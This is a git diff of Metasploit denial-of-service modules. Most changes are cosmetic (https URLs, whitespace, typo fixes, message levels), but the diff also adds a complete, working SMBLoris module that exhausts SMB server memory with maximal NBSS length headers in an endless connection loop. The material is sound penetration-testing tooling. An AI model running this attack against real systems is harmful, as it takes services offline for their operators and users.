-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb
index 2770b4d07e..b71c8921be 100644
--- a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb
+++ b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -132,5 +132,4 @@ class MetasploitModule < Msf::Auxiliary
       "\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" +
       "\x80\x80\x82\x80\x80\x80\x82\x81"
   end
-
 end
diff --git a/modules/auxiliary/dos/scada/igss9_dataserver.rb b/modules/auxiliary/dos/scada/igss9_dataserver.rb
index 32e2097851..7b166c3f59 100644
--- a/modules/auxiliary/dos/scada/igss9_dataserver.rb
+++ b/modules/auxiliary/dos/scada/igss9_dataserver.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb
index 6f1cb2e49f..11dc1684f1 100644
--- a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb
+++ b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
@@ -70,5 +69,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect_udp
   end
-
 end
diff --git a/modules/auxiliary/dos/smb/smb_loris.rb b/modules/auxiliary/dos/smb/smb_loris.rb
new file mode 100644
index 0000000000..3d70ce4122
--- /dev/null
+++ b/modules/auxiliary/dos/smb/smb_loris.rb
@@ -0,0 +1,89 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'bindata'
+require 'ruby_smb'
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Dos
+
+  class NbssHeader < BinData::Record
+    endian  :little
+    uint8   :message_type
+    bit7    :flags
+    bit17   :message_length
+  end
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'SMBLoris NBSS Denial of Service',
+      'Description'    => %q{
+        The SMBLoris attack consumes large chunks of memory in the target by sending
+        SMB requests with the NetBios Session Service(NBSS) Length Header value set
+        to the maximum possible value. By keeping these connections open and initiating
+        large numbers of these sessions, the memory does not get freed, and the server
+        grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
+        and Zach Harding.
+
+        DISCALIMER: This module opens a lot of simultaneous connections. Please check
+        your system's ULIMIT to make sure it can handle it. This module will also run
+        continuously until stopped.
+      },
+      'Author'          =>
+        [
+          'thelightcosine'
+        ],
+      'License'         => MSF_LICENSE,
+      'References'      =>
+        [
+          [ 'URL', 'http://smbloris.com/' ]
+        ],
+      'DisclosureDate' => 'Jul 29 2017'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(445)
+      ])
+  end
+
+  def run
+    header = NbssHeader.new
+    header.message_length = 0x01FFFF
+
+    linger = Socket::Option.linger(true, 60)
+
+    while true do
+      sockets = {}
+      (1025..65535).each do |src_port|
+        print_status "Sending packet from Source Port: #{src_port}"
+        opts = {
+          'CPORT'           => src_port,
+          'ConnectTimeout'  => 360
+        }
+
+        if sockets[src_port]
+          disconnect(sockets[src_port])
+        end
+
+        begin
+          nsock = connect(false, opts)
+          nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
+          nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
+          nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
+          nsock.setsockopt(linger)
+          nsock.write(header.to_binary_s)
+          sockets[src_port] = nsock
+        rescue ::Exception => e
+          print_error "Exception sending packet: #{e.message}"
+        end
+      end
+    end
+
+
+  end
+
+end
diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb
index e54e3dd6e9..cc1583c8d3 100644
--- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb
+++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Smtp
   include Msf::Auxiliary::Dos
 
@@ -53,7 +51,6 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
 
 =begin
diff --git a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb
index b4082fe7b3..8a8ca9e182 100644
--- a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb
+++ b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -79,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary
       return
     end
 
-    print_status("Successfully deleted #{datastore['RPATH']} >:-]")
+    print_good("Successfully deleted #{datastore['RPATH']} >:-]")
     sock1.close
   end
 
@@ -103,5 +100,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status(sprintf("     Uploaded %.4d bytes >> #{name}", data.length))
     return true
   end
-
 end
diff --git a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb
index de0887fcf0..dad888e518 100644
--- a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb
+++ b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Dos
   include Msf::Exploit::Capture
   include Exploit::Remote::Tcp
@@ -15,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'		=> 'OpenSSL DTLS ChangeCipherSpec Remote DoS',
       'Description'	=> %q{
           This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
-        version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
+        version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a
         ChangeCipherspec Datagram before a ClientHello.
       },
       'Author'	=> [
diff --git a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb
index 1a4ce17946..d0449597ad 100644
--- a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb
+++ b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Dos
   include Exploit::Remote::Udp
 
diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb
index fd495da1cb..e720ec2999 100644
--- a/modules/auxiliary/dos/ssl/openssl_aesni.rb
+++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -166,7 +166,7 @@ class MetasploitModule < Msf::Auxiliary
       begin
         alert = sock.get_once(-1, 2)
       rescue EOFError
-        print_status("DoS successful. process on #{rhost} did not respond.")
+        print_good("DoS successful. process on #{rhost} did not respond.")
         success = true
         break
       end
@@ -176,7 +176,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     if success == false
-      print_status("DoS unsuccessful.")
+      print_error("DoS unsuccessful.")
     end
   end
 
diff --git a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb
index 39db6af7e1..de2746f6f6 100644
--- a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb
+++ b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb
index 5143857aa9..659d436b39 100644
--- a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb
+++ b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/tcp/synflood.rb b/modules/auxiliary/dos/tcp/synflood.rb
index ef5bb47a62..9f5c137fc2 100644
--- a/modules/auxiliary/dos/tcp/synflood.rb
+++ b/modules/auxiliary/dos/tcp/synflood.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb
index 1b1f1faa1b..a649f03419 100644
--- a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb
+++ b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/appian/appian_bpm.rb b/modules/auxiliary/dos/windows/appian/appian_bpm.rb
index 76300fbc43..8bd6d0f5f7 100644
--- a/modules/auxiliary/dos/windows/appian/appian_bpm.rb
+++ b/modules/auxiliary/dos/windows/appian/appian_bpm.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -90,5 +87,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb
index b89a2f7a95..b9a2e208c2 100644
--- a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb
+++ b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
 
   def initialize(info = {})
diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb
index cc6a654362..4c258ee293 100644
--- a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb
+++ b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -41,5 +39,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect
     end
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb
index 533896564d..663fec8cbf 100644
--- a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb
+++ b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Dos
 
@@ -49,5 +47,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb
index dc3cd278c6..c5d4b2879d 100644
--- a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb
+++ b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb
index 449ad08df9..541f1f4e0b 100644
--- a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb
+++ b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
         FTP request containing Telnet IAC (0xff) bytes. When constructing the response,
         the Microsoft IIS FTP Service overflows the heap buffer with 0xff bytes.
 
-        This issue can be triggered pre-auth and may in fact be explotiable for
+        This issue can be triggered pre-auth and may in fact be exploitable for
         remote code execution.
       },
       'Author'         =>
@@ -65,7 +64,6 @@ class MetasploitModule < Msf::Auxiliary
     disconnect
   rescue ::Rex::ConnectionError
   end
-
 end
 
 =begin
diff --git a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb
index 42b66d350a..8818b7ee1d 100644
--- a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb
+++ b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Dos
 
@@ -113,5 +112,4 @@ class MetasploitModule < Msf::Auxiliary
     ret = [ ret, data ]
     ret
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb
index dd2a8e4c9b..2820c9d741 100644
--- a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb
+++ b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -49,5 +48,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/ftp/titan626_site.rb b/modules/auxiliary/dos/windows/ftp/titan626_site.rb
index 7dd50eb7eb..697083f68a 100644
--- a/modules/auxiliary/dos/windows/ftp/titan626_site.rb
+++ b/modules/auxiliary/dos/windows/ftp/titan626_site.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb
index 6c0eb08ee0..45b085bbb5 100644
--- a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb
+++ b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb
index 20188db7eb..6424f906bd 100644
--- a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb
+++ b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb
index 2c5e77ad7a..617867fe06 100644
--- a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb
+++ b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb
index a1bc083a35..78b7383654 100644
--- a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb
+++ b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/games/kaillera.rb b/modules/auxiliary/dos/windows/games/kaillera.rb
index f39774f9e1..e9f9bd4c8d 100644
--- a/modules/auxiliary/dos/windows/games/kaillera.rb
+++ b/modules/auxiliary/dos/windows/games/kaillera.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'           => 'Kaillera 0.86 Server Denial of Service' ,
       'Description'    => %q{
           The Kaillera 0.86 server can be shut down by sending any malformed packet
-        after the intial "hello" packet.
+        after the initial "hello" packet.
       },
       'Author'         => ["Sil3nt_Dre4m"],
       'License'        => MSF_LICENSE,
@@ -34,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary
 
     if res[0] =~ /HELLOD00D([0-9]{1,5})/
       port = $1
-    else print_status("Connection failed")
+    else print_error("Connection failed")
       return
     end
 
@@ -57,5 +56,4 @@ class MetasploitModule < Msf::Auxiliary
       print_good("Target is down")
     end
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb
index 6d696d94a3..2cb3e5af21 100644
--- a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb
+++ b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb
index 7aecc1698a..f6a83adf1c 100644
--- a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb
+++ b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb
index b9b2b49767..9d26955796 100644
--- a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb
+++ b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/nat/nat_helper.rb b/modules/auxiliary/dos/windows/nat/nat_helper.rb
index 5a1eb1359d..2fd5418116 100644
--- a/modules/auxiliary/dos/windows/nat/nat_helper.rb
+++ b/modules/auxiliary/dos/windows/nat/nat_helper.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
@@ -46,5 +43,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect_udp
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb
index b6ceeb9508..6cb5113486 100644
--- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb
+++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
@@ -164,5 +163,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb
index 9385917d5b..03689115c8 100644
--- a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb
+++ b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DCERPC
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Dos
@@ -103,5 +102,4 @@ long function_0a (
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb
index bc36dd24fb..3412db0326 100644
--- a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb
+++ b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Dos
 
@@ -93,5 +90,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb
index ecfdb5b41d..062bc6750d 100644
--- a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb
+++ b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Dos
 
@@ -61,5 +58,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb
index 7b51b4ae98..dc9c07542e 100644
--- a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb
+++ b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Dos
 
@@ -115,5 +114,4 @@ class MetasploitModule < Msf::Auxiliary
       j=j-10000
     end
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb
index 8d5e12725d..373bf7c013 100644
--- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb
+++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -67,7 +66,6 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect()
   end
-
 end
 
 =begin
diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb
index 73a2aee236..7c0e3ef3ca 100644
